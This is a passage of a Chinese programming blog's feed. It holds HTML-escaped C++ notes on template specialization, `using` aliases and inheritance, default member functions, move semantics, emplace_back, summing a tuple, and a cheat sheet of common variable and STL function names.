class Invalid&amp;lt;double&amp;gt;; &amp;#x2F;&amp;#x2F; 错误：Invalid&amp;lt;double&amp;gt;已经被实例化了
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;quan-ju-de-han-shu-mo-ban-te-hua&quot;&gt;全局的函数模板特化&lt;&#x2F;h2&gt;
&lt;p&gt;就语法及其后所蕴涵的原则而言，（显式的）全局函数模板特化和类模板特化大体上是一致的，唯一的区别在于：函数模板特化引入了重载和实参演绎这两个概念。&lt;&#x2F;p&gt;
&lt;p&gt;如果可以借助实参演绎（用实参类型来演绎声明中给出的参数类型）来确定模板的特殊化版本，那么全局特化就可以不声明显式的模板实参。让我们考虑下面的例子：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
template&amp;lt;typename T&amp;gt;
int f(T)　　　　　　　&amp;#x2F;&amp;#x2F; (1)
{
    return 1;
}
 
template&amp;lt;typename T&amp;gt;
int f(T*)　　　　　　 &amp;#x2F;&amp;#x2F; (2)
{
    return 2;
}
 
template&amp;lt;&amp;gt; int f(int)　 &amp;#x2F;&amp;#x2F; OK: （1）的特化
{
    return 3;
}
 
template&amp;lt;&amp;gt; int f(int*)　&amp;#x2F;&amp;#x2F; OK: (2)的特化。
{
    return 4;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;全局函数模板特化不能包含缺省的实参值。然而，对于基本（即要被特化的）模板所指定的任何缺省实参，显式特化版本都可以应用这些缺省实参值。例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
int f(T, T x = 42)
{
    return x;
}
 
template&amp;lt;&amp;gt; int f(int, int = 35)　&amp;#x2F;&amp;#x2F; 错误，不能包含缺省实参值
{
    return 0;
}
 
template&amp;lt;typename T&amp;gt;
int g(T, T x = 42)
{
    return x;
}
 
template&amp;lt;&amp;gt; int g(int, int y)
{
    return y&amp;#x2F;2;
}
 
int main()
{
    std::cout &amp;lt;&amp;lt; g(0) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 正确，输出21
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;quan-ju-cheng-yuan-te-hua&quot;&gt;全局成员特化&lt;&#x2F;h2&gt;
&lt;p&gt;除了成员模板之外，类模板的成员函数和普通的静态成员变量也可以被全局特化；实现特化的语法会要求给每个外围类模板加上template&amp;lt;&amp;gt;前缀。如果要对一个成员模板进行特化，也必须加上另一个template&amp;lt;&amp;gt;前缀，来说明该声明表示的是一个特化。为了说明这些含义，让我们假设具有下面的声明：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
template&amp;lt;typename T&amp;gt;
class Outer 
{　　　　　　　　　　　　　&amp;#x2F;&amp;#x2F; (1)
public:
    template&amp;lt;typename U&amp;gt;
    class Inner 
    {　　　　　　　&amp;#x2F;&amp;#x2F; (2)
    private:
        static int count;　　　　　　　&amp;#x2F;&amp;#x2F; (3)
    };
 
    static int code;　　　　　　　 &amp;#x2F;&amp;#x2F; (4)
 
    void print() const           &amp;#x2F;&amp;#x2F; (5)
    {　　　　　　　 
        std::cout &amp;lt;&amp;lt; &amp;quot;generic&amp;quot;;
    }
};
 
template&amp;lt;typename T&amp;gt;
int Outer&amp;lt;T&amp;gt;::code = 6;　　　　　　　 &amp;#x2F;&amp;#x2F; (6)
 
template&amp;lt;typename T&amp;gt; 
template&amp;lt;typename U&amp;gt;
int Outer&amp;lt;T&amp;gt;::Inner&amp;lt;U&amp;gt;::count = 7;　　&amp;#x2F;&amp;#x2F; (7)
 
template&amp;lt;&amp;gt; class Outer&amp;lt;bool&amp;gt; 
{　　　　　　　　　 &amp;#x2F;&amp;#x2F; (8)
public:
    template&amp;lt;typename U&amp;gt;
    class Inner 
    {　　　　　　　　　　　&amp;#x2F;&amp;#x2F; (9)
    private:
        static int count;　　　　　　　&amp;#x2F;&amp;#x2F; (10)
    };
 
void print() const {　　　　　　　 &amp;#x2F;&amp;#x2F; (11)
}
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在（1）处的泛型模板Outer中，（4）处的code和（5）处print()，这两个普通成员都具有一个外围类模板。因此，需要使用一个template&amp;lt;&amp;gt;前缀说明：后面将用一个模板实参集来对它进行全局特化：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
template&amp;lt;&amp;gt;
int Outer&amp;lt;void&amp;gt;::code = 12;
 
template&amp;lt;&amp;gt;
void Outer&amp;lt;void&amp;gt;::print() const
{
    std::cout &amp;lt;&amp;lt; &amp;quot;Outer&amp;lt;void&amp;gt;&amp;quot;;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这些定义将会用于替代类Outer&amp;lt;void&amp;gt;在（4）处和（5）处的泛型定义；但是，类Outer&amp;lt;void&amp;gt;的其它成员仍然默认地产生自（1）处的模板。另外，在提供了上面的声明之后，就不能再次提供Outer&amp;lt;void&amp;gt;的显式特化。&lt;&#x2F;p&gt;
&lt;p&gt;类似于全局函数模板特化，我们需要一种可以在不指定定义的前提下（为了避免多处定义），可以声明类模板普通成员特化的方法。尽管对于普通类的成员函数和静态成员变量而言，非定义的类外声明在C++中是不允许的；但如果是针对类模板的特化成员，该声明则是合法的。也就是说，前面的定义可以具有如下声明：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;&amp;gt;
int Outer&amp;lt;void&amp;gt;::code;
template&amp;lt;&amp;gt;
void Outer&amp;lt;void&amp;gt;::print() const;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于成员模板Outer&amp;lt;T&amp;gt;::Inner，也可以用一个特定的模板实参对它进行特化，而且对于该特化所在的外围 Outer&amp;lt;T&amp;gt;而言，这个特化操作并不会影响 Outer&amp;lt;T&amp;gt;相应实例化体的其它成员。另外，由于存在一个外围模板（也就是Outer&amp;lt;T&amp;gt;），所以我们需要添加一个template&amp;lt;&amp;gt;前缀。最后所获得的代码大致如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;&amp;gt; template&amp;lt;typename X&amp;gt;
class Outer&amp;lt;wchar_t&amp;gt;::Inner 
{
public:
    static long count; &amp;#x2F;&amp;#x2F; 成员类型发生了改变
};
 
template&amp;lt;&amp;gt; template&amp;lt;typename X&amp;gt;
long Outer&amp;lt;wchar_t&amp;gt;::Inner&amp;lt;X&amp;gt;::count;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;模板Outer&lt;T&gt;::Inner也可以被全局特化，但只能针对Outer&lt;T&gt;的某个给定实例。而且，我们需要添加两个 template&amp;lt;&amp;gt;前缀：因为外围类需要一个 template&amp;lt;&amp;gt;前缀，我们所要全局特化的内围模板（inner template）也需要一个template&amp;lt;&amp;gt;前缀：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;&amp;gt;
template&amp;lt;&amp;gt;
class Outer&amp;lt;char&amp;gt;::Inner&amp;lt;wchar_t&amp;gt; 
{
public:
    enum { count = 1};
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&#x2F;&#x2F; 下面的C++程序是不合法的:
&#x2F;&#x2F; template&amp;lt;&amp;gt; 不能位于模板实参列表的后面&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename X&amp;gt;
template&amp;lt;&amp;gt; class Outer&amp;lt;X&amp;gt;::Inner&amp;lt;void&amp;gt;; &amp;#x2F;&amp;#x2F; 错误
&amp;#x2F;&amp;#x2F; 我们可以将上面这个特化与Outer&amp;lt;bool&amp;gt;的成员模板的特化比较一下。由于Outer&amp;lt;bool&amp;gt;已经在前面全局特化了，所有它的成员模板也就不存在外围模板，因此我们就只需要一个template&amp;lt;&amp;gt;前缀：

template&amp;lt;&amp;gt;
class Outer&amp;lt;bool&amp;gt;::Inner&amp;lt;wchar_t&amp;gt; 
{
public:
    enum { count = 2 };
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yuan-bian-cheng&quot;&gt;元编程&lt;&#x2F;h1&gt;
&lt;p&gt;类型参数（type template parameter），用 typename 或 class 标记；
非类型参数（non-type template parameter）可以是：整数及枚举类型、对象或函数的指针、对象或函数的引用、对象的成员指针，非类型参数是模板实例的常量；
模板型参数（template template parameter），如“template&amp;lt;typename T, template&lt;typename&gt; class A&amp;gt; someclass {};”；
模板参数可以有默认值（函数模板参数默认是从 C++11 开始支持）；
函数模板的和函数参数类型有关的模板参数可以自动推导，类模板参数不存在推导机制；
C++11 引入变长模板参数&lt;&#x2F;p&gt;
&lt;h1 id=&quot;lian-jie&quot;&gt;链接&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;2183087&#x2F;why-cant-i-use-float-value-as-a-template-parameter
https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;38026884&#x2F;advantages-of-auto-in-template-parameters-in-c17
https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;314340244
https:&#x2F;&#x2F;blog.csdn.net&#x2F;u012481976&#x2F;article&#x2F;details&#x2F;84502874&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>using 新用法</title>
        <published>2022-06-06T12:22:41+08:00</published>
        <updated>2026-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/using-新用法/"/>
        <id>https://vercel.juzhong.asia/2022/06/using-新用法/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/using-新用法/">&lt;h1 id=&quot;using-xin-yong-fa&quot;&gt;using 新用法&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;yin-ru-ming-ming-kong-jian&quot;&gt;引入命名空间&lt;&#x2F;h1&gt;
&lt;p&gt;可能在C++的初学者眼中，using关键字就是对常见的是这两句代码：
using namespace std;和using std::cout;&lt;&#x2F;p&gt;
&lt;p&gt;当然，这也是using的最基本的使用方法。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;usingguan-jian-zi-zai-lei-ji-cheng-de-zhong-de-zuo-yong&quot;&gt;using关键字在类继承的中的作用&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-pai-sheng-lei-bu-fen-fu-gai-ji-lei-de-cheng-yuan-han-shu&quot;&gt;（1）派生类部分覆盖基类的成员函数&lt;&#x2F;h2&gt;
&lt;p&gt;在下面的代码中，基类中两个成员函数形成函数重载，在派生类中只对基类的一个成员函数进行了函数覆盖（另一个并没有覆盖），此时在派生类中Func(int)这个函数就被隐藏了，此时如果通过派生类对象调用该方法就会出现编译错误（如下图所示）。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;using std::cout;
class Base {
public:
    void foo() { cout &amp;lt;&amp;lt; &amp;quot;Base::foo\n&amp;quot;; }
    void foo(int i) { cout &amp;lt;&amp;lt; &amp;quot;Base::foo int\n&amp;quot;; }
};

class Derive: public Base {
public:
    void foo() { cout &amp;lt;&amp;lt; &amp;quot;Derive\n&amp;quot;}
    using Base::foo;   &amp;#x2F;&amp;#x2F; 不添加这个， 调用d.foo(1) 会报错！！！
};

int main() {
  Derive d;
  d.foo(1);
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-zai-lei-de-si-you-ji-cheng-zhong&quot;&gt;（2）在类的私有继承中&lt;&#x2F;h2&gt;
&lt;p&gt;在类的继承中，存在一个private继承关系，如下代码所示，私有继承时，基类的成员方法不能在派生类中使用。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;using std::cout;
class Base {
public:
    void foo(int i) { cout &amp;lt;&amp;lt; &amp;quot;Base::foo int\n&amp;quot;; }
};

class Derive: privte Base {
public:
    using Base::foo;   &amp;#x2F;&amp;#x2F; 不添加这个， 调用d.foo(1) 会报错！！！
};

int main() {
  Derive d;
  d.foo(1);
  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-usingguan-jian-zi-lai-ding-yi-bie-ming&quot;&gt;使用using关键字来定义别名&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;ding-yi-pu-tong-lei-xing-de-bie-ming-yu-typedeflei-si&quot;&gt;定义普通类型的别名（与typedef类似）&lt;&#x2F;h2&gt;
&lt;p&gt;首先，利用using关键字来定义别名的代码有更好的可读性，看下面的例子：&lt;&#x2F;p&gt;
&lt;p&gt;定义一个函数指针，指向的函数返回值是void，输入参数是int型&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shi-yong-usingzhi-ding-mo-ban-de-bie-ming-typedefzuo-bu-dao&quot;&gt;使用using指定模板的别名（typedef做不到）&lt;&#x2F;h2&gt;
&lt;p&gt;如下的代码，可以看出使用using可以声明一个模板类的别名，但是typedef不行。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template&amp;lt;typename T&amp;gt;
&amp;#x2F;&amp;#x2F; typedef vector&amp;lt;T&amp;gt; Vec; &amp;#x2F;&amp;#x2F; wrong
using Vec = vector&amp;lt;T&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;lian-jie&quot;&gt;链接&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;9c99fd307b76
https:&#x2F;&#x2F;blog.csdn.net&#x2F;w_weixiaotao&#x2F;article&#x2F;details&#x2F;108541021&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>类的默认函数</title>
        <published>2022-06-06T10:24:03+08:00</published>
        <updated>2022-06-06T10:24:03+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/类的默认函数/"/>
        <id>https://vercel.juzhong.asia/2022/06/类的默认函数/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/类的默认函数/">&lt;h1 id=&quot;lei-de-mo-ren-han-shu&quot;&gt;类的默认函数&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;zai-c-zhong-yi-ge-lei-you-ba-ge-mo-ren-han-shu&quot;&gt;在C++中一个类有八个默认函数&lt;&#x2F;h1&gt;
&lt;p&gt;默认构造函数；
默认拷贝构造函数；
默认析构函数；
默认重载赋值运算符函数；
默认重载取址运算符函数；
默认重载取址运算符const函数；
默认移动构造函数（C++11）；
默认重载移动赋值操作符函数（C++11）。&lt;&#x2F;p&gt;
&lt;p&gt;只是声明一个空类，不做任何事情的话，编译器会自动为你生成一个默认构造函数、一个默认拷贝构造函数、一个默认重载赋值操作符函数和一个默认析构函数。这些函数只有在第一次被调用时，才会被编译器创建，当然这几个生成的默认函数的实现就是什么都不做。所有这些函数都是inline和public的。&lt;&#x2F;p&gt;
&lt;p&gt;我们不希望对象被显示构造（单列模式）或赋值，可以将对应函数声明为private，或者写一个基类，开放部分默认函数，子类去继承就可以了。C++11新增标识符default和delete,控制这些默认函数是否使用。&lt;&#x2F;p&gt;
&lt;p&gt;default：被标识的默认函数将使用类的默认行为，如：A() = default;
delete：被标识的默认函数将禁用，如：A() = delete;
override：被标识的函数需要强制重写基类虚函数；
final：被标识的函数禁止重写基类虚函数；&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;class A
{
public:
&amp;#x2F;&amp;#x2F; 默认构造函数;
A();

&amp;#x2F;&amp;#x2F; 默认拷贝构造函数
A(const A&amp;amp;);

&amp;#x2F;&amp;#x2F; 默认析构函数
~A();

&amp;#x2F;&amp;#x2F; 默认重载赋值运算符函数
A&amp;amp; operator = (const A&amp;amp;);

&amp;#x2F;&amp;#x2F; 默认重载取址运算符函数
A* operator &amp;amp; ();

&amp;#x2F;&amp;#x2F; 默认重载取址运算符const函数
const A* operator &amp;amp; () const;

&amp;#x2F;&amp;#x2F; 默认移动构造函数
A(A&amp;amp;&amp;amp;);

&amp;#x2F;&amp;#x2F; 默认重载移动赋值操作符
A&amp;amp; operator = (const A&amp;amp;&amp;amp;);
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;you-zhi-yin-yong-de-ji-ge-si-kao&quot;&gt;右值引用的几个思考&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;tuple&amp;gt;
#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;string&amp;gt;

using namespace std;
using namespace std::string_literals;

using std::cout;
class Foo {
public:
  Foo() { cout &amp;lt;&amp;lt; &amp;quot;Foo\n&amp;quot;; }
  Foo(const Foo&amp;amp; b) { cout &amp;lt;&amp;lt; &amp;quot;const Foo&amp;amp;\n&amp;quot;; }
  ~Foo() { cout &amp;lt;&amp;lt; &amp;quot;~Foo\n&amp;quot;; }
  Foo&amp;amp; operator=(const Foo&amp;amp; b) {
    cout &amp;lt;&amp;lt; &amp;quot;operator=\n&amp;quot;;
    return *this;
  }
  Foo(Foo&amp;amp;&amp;amp; b) { cout &amp;lt;&amp;lt; &amp;quot;Foo&amp;amp;&amp;amp;\n&amp;quot;; }
  Foo&amp;amp; operator=(Foo&amp;amp;&amp;amp; b) { 
    cout &amp;lt;&amp;lt; &amp;quot;Foo&amp;amp;&amp;amp;\n&amp;quot;;
    return *this;
  }
};

void bar(Foo&amp;amp;&amp;amp; f) {

}

Foo bar1(Foo&amp;amp;&amp;amp; f) {
  return f;
}

Foo&amp;amp; bar2(Foo&amp;amp;&amp;amp; f) {
  return f;
}

int main() {
  Foo f;
  cout &amp;lt;&amp;lt; &amp;quot;\n####1\n&amp;quot;;
  Foo f1(f);

  cout &amp;lt;&amp;lt; &amp;quot;\n####2\n&amp;quot;;
  Foo f2 = f;

  cout &amp;lt;&amp;lt; &amp;quot;\n####3\n&amp;quot;;
  Foo&amp;amp; f3 = f;

  cout &amp;lt;&amp;lt; &amp;quot;\n####4\n&amp;quot;;
  Foo f4;
  f4 = f;

  cout &amp;lt;&amp;lt; &amp;quot;\n####5\n&amp;quot;;
  Foo f5_;
  Foo f5(std::move(f5_));

  cout &amp;lt;&amp;lt; &amp;quot;\n####6\n&amp;quot;;
  Foo f6_;
  Foo f6 = std::move(f6_);  &amp;#x2F;&amp;#x2F; 在这之后f6_ 就为无效的值了， 已经被移动到f6中了

  cout &amp;lt;&amp;lt; &amp;quot;\n####7\n&amp;quot;;
  Foo f7_;
  Foo&amp;amp;&amp;amp; f7 = std::move(f7_);&amp;#x2F;&amp;#x2F; 在这之后f7_ 依然有效， f7是一个引用类型, 和f7_的值一样
  &amp;#x2F;&amp;#x2F; 这里f7 是f7_的右值引用, 不会有复制和移动；右值引用也是引用？？！！对比f6

  cout &amp;lt;&amp;lt; &amp;quot;\n####8\n&amp;quot;;
  Foo f8_;
  bar(std::move(f8_));

  cout &amp;lt;&amp;lt; &amp;quot;\n####9\n&amp;quot;;
  Foo f9_;
  bar1(std::move(f9_));

  cout &amp;lt;&amp;lt; &amp;quot;\n####10\n&amp;quot;;
  Foo f10_;
  bar2(std::move(f10_));

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>emplace_back</title>
        <published>2022-06-04T18:49:19+08:00</published>
        <updated>2022-06-04T18:49:19+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/emplace-back/"/>
        <id>https://vercel.juzhong.asia/2022/06/emplace-back/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/emplace-back/">&lt;h1 id=&quot;emplace-back&quot;&gt;emplace_back&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;emplace-back-1-2-fang-shi&quot;&gt;emplace_back({1,2})方式&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;20391632&#x2F;how-to-use-stdvectoremplace-back-for-vectorvectorint&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;initializer_list&amp;gt;
#include &amp;lt;type_traits&amp;gt;

template&amp;lt;typename T&amp;gt;
void func(T arg) {
}


int main() {
    auto init_list = {1, 2};    &amp;#x2F;&amp;#x2F; This works because of a special rule
    static_assert(std::is_same&amp;lt;decltype(init_list), std::initializer_list&amp;lt;int&amp;gt;&amp;gt;::value, &amp;quot;not same&amp;quot;);

    func(std::initializer_list&amp;lt;int&amp;gt;{1, 2});     &amp;#x2F;&amp;#x2F; Ok. Has explicit type.

    func({1, 2});   &amp;#x2F;&amp;#x2F; This doesn&amp;#x27;t because there&amp;#x27;s no rule for function
                    &amp;#x2F;&amp;#x2F;      template argument to deduce std::initializer_list
                    &amp;#x2F;&amp;#x2F;      in this form.
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>tuple sum</title>
        <published>2022-06-04T10:18:43+08:00</published>
        <updated>2022-06-04T10:18:43+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/tuple-sum/"/>
        <id>https://vercel.juzhong.asia/2022/06/tuple-sum/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/tuple-sum/">&lt;h1 id=&quot;tuple-sum&quot;&gt;tuple sum&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;bian-li-std-tuple&quot;&gt;遍历std::tuple&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;tuple&amp;gt;
#include &amp;lt;iostream&amp;gt;

using std::cout;
using std::make_tuple;

template&amp;lt;typename T&amp;gt;
std::enable_if_t&amp;lt;!std::is_arithmetic&amp;lt;T&amp;gt;::value, double&amp;gt; double_val(T t) { return 0.0; }

template&amp;lt;typename T&amp;gt;
std::enable_if_t&amp;lt;std::is_arithmetic&amp;lt;T&amp;gt;::value, double&amp;gt; double_val(T t) { return t; }

double double_val(char) { return 0.0; }

template&amp;lt;std::size_t I=0, typename ...Ts&amp;gt;
std::enable_if_t&amp;lt;(I == sizeof...(Ts)), double&amp;gt; tuple_sum(const std::tuple&amp;lt;Ts...&amp;gt;&amp;amp; tpl) {
  return 0.0;
}


template&amp;lt;std::size_t I=0, typename ...Ts&amp;gt;
std::enable_if_t&amp;lt;(I &amp;lt; sizeof...(Ts)), double&amp;gt; tuple_sum(const std::tuple&amp;lt;Ts...&amp;gt;&amp;amp; tpl) {
  return double_val(std::get&amp;lt;I&amp;gt;(tpl)) + tuple_sum&amp;lt;I+1, Ts...&amp;gt;(tpl);
}


int main() {
  cout &amp;lt;&amp;lt; tuple_sum(make_tuple(1,2,3,&amp;#x27;c&amp;#x27;,&amp;#x27;t&amp;#x27;, 4.0)) &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;
  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;shi-yong-applyshi-xian&quot;&gt;使用apply实现&lt;&#x2F;h1&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;tuple&amp;gt;
#include &amp;lt;type_traits&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;string&amp;gt;

using namespace std::string_literals;
template &amp;lt;typename T&amp;gt;
double filter(T arg)
{
  if constexpr (std::is_same_v&amp;lt;T, char&amp;gt;) {
    return 0.0;
  } else if constexpr (std::is_integral_v&amp;lt;T&amp;gt; || std::is_floating_point_v&amp;lt;T&amp;gt;) {
    return arg;
  } else {
    return 0;
  }
}

template &amp;lt;typename ...Ts&amp;gt;
double tuple_sum(const std::tuple&amp;lt;Ts...&amp;gt;&amp;amp; tpl) {
  return std::apply([](auto&amp;amp;&amp;amp;... args) {return (filter(args) + ...); }, tpl);
}


using namespace std;
int main() {
  cout &amp;lt;&amp;lt; tuple_sum(make_tuple(3.14, 42, &amp;#x27;a&amp;#x27;, &amp;quot;hello&amp;quot;, &amp;quot;world&amp;quot;s, std::vector&amp;lt;int&amp;gt;{1,2,4}));
  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>coding variable</title>
        <published>2022-06-03T18:24:06+08:00</published>
        <updated>2022-06-03T18:24:06+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/coding-variable/"/>
        <id>https://vercel.juzhong.asia/2022/06/coding-variable/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/coding-variable/">&lt;h1 id=&quot;coding-variable&quot;&gt;coding variable&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;ji-lu-chang-yong-bian-liang-ming-variable-name&quot;&gt;记录常用变量名 variable name&lt;&#x2F;h1&gt;
&lt;p&gt;ceil floor round
trancate trim
below above
foo bar tmp
begin end
start stop final finish
forward back
front back
prev next
fast slow
first second last
positive negative
non-neg un-used
less more greater
backtrack backtrace
pre mid&#x2F;cur next
precursor successor
successor&#x2F; predecessor&#x2F; ancetor
master slave
low hight
left right
top bottom
up down
pivot signed dummy removed visited seen
prefix postfix suffix&#x2F;surfix
head tail node
L1 size len1
dp visited helper memo
mapping remove erase
middleNode removeTail moveToHead addToHead
cache maxGain INT_MIN
dfs bfs
carry voted load
dead apply state
mutex semaphore shm
leader candidate follower peer me persister
offline disable
after before
binaraySearch quickSort mergeSort
odd even
each item index found target ignore
delay  conclude exclude include extra
small big
bad good
new old
recent past history
send receive reject avoid accept
deep breadth wide short light
volumn capacity scope room scope level
dual duplicate double copied paired
single only alone uniq
free busy block hold occupied book bind
empty full
main chief leader major primary central
minor depedency auxiliary subordinate
mirror symmetric
child children
parent father mother
mono multi
valid invalid check
info edge course indegree outdegree
token mark sign selected
operator operand
recursive iterative
lhs(left hands side, the left side of equal sign) rhs
path&lt;&#x2F;p&gt;
&lt;h1 id=&quot;han-shu-ming-function-name&quot;&gt;函数名 function name&lt;&#x2F;h1&gt;
&lt;p&gt;to_string &lt;string&gt;
sprintf(str, &quot;%2d&quot;, i)
atoi stoi strtoi
stoi stol stoll&lt;&#x2F;p&gt;
&lt;p&gt;ostringstream os; os &amp;lt;&amp;lt; i; os.str(); &lt;sstream&gt;
queue.back() queue.front()
queue.push(val) queue.pop()
stack.top() stack.push(val) stack.pop()
vec.push_back(val) vec.pop_back() vec.reserve(8)
vec.emplace(val)
list.push_back(val) list.pop_front() list.reverse()&lt;&#x2F;p&gt;
&lt;p&gt;stack2.push(stack1.top())&lt;&#x2F;p&gt;
&lt;p&gt;str.assign(vec.begin(), vec.end())
str.substr(start, len)
str.c_str()&lt;&#x2F;p&gt;
&lt;p&gt;queue.back()
queue.front()
queue.push()
queue.pop()&lt;&#x2F;p&gt;
&lt;p&gt;stack.top()
stack.push()
stack.pop()&lt;&#x2F;p&gt;
&lt;p&gt;vec.push_back()
vec.pop_back()
vec.reserve()&lt;&#x2F;p&gt;
&lt;p&gt;list.push_back()
list.pop_front()
list.reverse()&lt;&#x2F;p&gt;
&lt;p&gt;int maxNum = *max_element(nums.begin(), nums.end()&lt;&#x2F;p&gt;
&lt;p&gt;lower_bound(vec.begin(), vec.end(), target, less&lt;int&gt;())&lt;&#x2F;p&gt;
&lt;p&gt;mymap.erase(it);
mymap.erase(&#x27;c&#x27;);
mymap.erase(mymap.begin(), mymap.begin()+1)
mymap.lower_bound(key1);&lt;&#x2F;p&gt;
&lt;p&gt;vec.erase(remove(vec.begin(), vec.end(), 1), vec.end())&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;(algorithm)remove算法并不是直接把元素删除,而是用后面的元素替代前面的元素
应该使用list的remove成员函数,而不是remove算法！&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;iota(v.begin(), v.end(), 1);
std::addressof
std::result_of&lt;&#x2F;p&gt;
 &lt;numeric&gt;
vector&lt;int&gt; vec2(vec1.size());
vec2.resize(vec1.size());
partial_sum(vec1.begin(), vec1.end(), vec2.begin());
&lt;h2 id=&quot;die-dai-qi-de-fu-zhu-han-shu&quot;&gt;迭代器的辅助函数&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;88f088c0522d&quot;&gt;STL中&quot;萃取机&quot;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;nth_element(v.begin(), v.begin()+2, v.end());
int size = distance(v.begin(), v.end());
advance(p, n):使迭代器 p 向前或向后移动 n 个元素.
distance(p, q):计算两个迭代器之间的距离,即迭代器 p 经过多少次 + + 操作后和迭代器 q 相等.如果调用时 p 已经指向 q 的后面,则这个函数会陷入死循环.
iter_swap(p, q):用于交换两个迭代器 p,q 指向的值.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;split-string&quot;&gt;split string&lt;&#x2F;h2&gt;
&lt;p&gt;https:&#x2F;&#x2F;zhuanlan.zhihu.com&#x2F;p&#x2F;426939341&lt;&#x2F;p&gt;
